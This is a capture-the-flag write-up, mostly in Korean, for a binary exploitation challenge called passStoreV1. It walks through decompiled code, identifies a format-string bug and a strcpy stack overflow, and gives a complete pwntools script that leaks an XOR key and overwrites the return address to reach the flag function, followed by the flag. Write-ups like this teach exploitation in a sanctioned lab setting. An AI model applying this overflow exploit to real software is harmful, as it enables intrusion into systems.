Info (8/219) solves
description Try to use new superpuper secure command line password storage!
url: 0.cloud.chals.io:12367
for player 1 passStoreV1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2349feff7fdc9215b7e1275413f61af630980a82, for GNU/Linux 3.2.0, not stripped 
Analysis Mitigation 1 2 3 4 5 Arch:     amd64-64-little RELRO:    Partial RELRO Stack:    No canary found NX:       NX enabled PIE:      No PIE (0x400000) 
문제 풀다가 바이너리가 바뀌었다. =ㅅ= 원래 파이가 있었는데 파이가 사라졌다. 
Source Code 1 2 3 4 5 6 7 8 int  __cdecl __noreturn main (int  argc, const  char  **argv, const  char  **envp) {   welcome();   addName();   keyGen();   while  ( 1  )     menu(); } 
main은 이렇게 생겼다. welcome 함수는 볼 게 없어서 그 다음 함수부터 보자.
1 2 3 4 5 ssize_t  addName () {   puts ("Please type your name: " );   return  read(0 , username, 0x20 uLL); } 
전역 변수 username에 0x20 만큼 쓸 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int  keyGen () {   unsigned  int  seed;    int  i;    seed = time(0LL );   srand(seed);   puts ("Some preparations...." );   for  ( i = 0 ; i <= 7 ; ++i )     key[i] = rand() % 26  + 97 ;   puts ("Master key prepared!\nKey: " );   printf (key);   return  puts ("\n" ); } 
key를 출력해준다. 여기서 fsb가 발생할 수 있지만.. 컨트롤하기가 꽤 까다로워보인다. 아무튼 출력해주는 key를 뒤에서 어떻게 사용할까 생각하면서 일단 넘어간다. 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 menu ()  {   __int64 result;    int  v1;    puts ("Menu: " );   puts ("1) Add password" );   puts ("2) Read password" );   puts ("3) Chage name" );   puts ("0) Exit" );   __isoc99_scanf("%d" , &v1);   if  ( v1 == 3  )     return  changeName();   if  ( v1 <= 3  )   {     switch  ( v1 )     {       case  2 :         return  readPass();       case  0 :         puts ("Bye Bye.... " );         exit (0 );       case  1 :         result = addPass();         encrypted = result;         return  result;     }   }   puts ("Try again..." );   return  menu(); } 
menu 함수는 while을 통해 무한히 실행된다. 여기서 주목해야할 것이 3번메뉴 changeName 함수와 1번 메뉴 addPass 함수이다.
1 2 3 4 5 6 7 8 9 int  changeName (void ) {   printf ("Your name is " );   printf (username);   puts ("Please type your name: " );   read(0 , username, 0x20 uLL);   printf ("Your new name: " );   return  printf (username);  } 
먼저 changeName 함수. 대놓고 fsb가 터진다. 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char  *addPass (void ) {   char  src[256 ];    char  buf[256 ];    char  dest[44 ];    int  i;    read(0 , buf, 0x100 uLL);   for  ( i = 0 ; i <= 255 ; ++i )   {     if  ( buf[i] == 10  )     {       src[i] = 10 ;       break ;     }     src[i] = key[i % 8 ] ^ buf[i];   }   strcpy (dest, src);    return  strncpy (&encrypted, dest, 0x1F uLL); } 
addPass 함수. dest 크기가 44인데 여기다가 256 크기의 src를 복사한다. 대놓고 bof가 터지고 pie도 없다. flag를 출력해주는 함수도 존재하니 바로 흐름을 돌려주면 된다. 하지만 이 전에 src를 가공하니 exploit을 작성할 때 유의해줘야 한다. 
Vulnerability strcpy 함수는 복사할 때 길이 검증을 하지 않아 bof 발생 가능성이 존재한다. 이 문제에서 이로 인해 함수 흐름을 변경할 수 있는 가능성이 존재한다.
Exploit Exploit Scenario 
key 값 leak 
payload 작성 후 addPass 함수의 로직 구현 
 
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from  pwn import  *context.arch = 'amd64'  context.log_level = 'DEBUG'  e = ELF('./chall' ) p = remote('0.cloud.chals.io' , 12367 ) p.recvuntil('name:' ) p.sendline(b'AAAA' ) p.recvuntil('Key: \r\n' ) key = p.recvline()[:-2 ] info(key) p.sendlineafter('it\r\n' , str (1 )) buf = b''  buf += b'A'  * (0x30 +0x8 ) buf += p64(0x40162d ) buf += b'\n'  print (repr (key))print (repr (buf))src = [] for  i in  range (0 , 255 ):    if  buf[i] == 10 :         break           src.append(key[i%8 ] ^ buf[i])      src = bytes (src) p.sendline(src) p.interactive() 
python3 bytes 1 2 3 4 5 6 7 8 9 >>>  src = []>>>  src.append(1 )>>>  src.append(2 )>>>  src.append(3 )>>>  src[1 , 2 , 3 ] >>>  >>>  bytes (src)b'\x01\x02\x03' 
Flag 1 flag{hmmm...1_7h0u6h7_17_15_53cur3}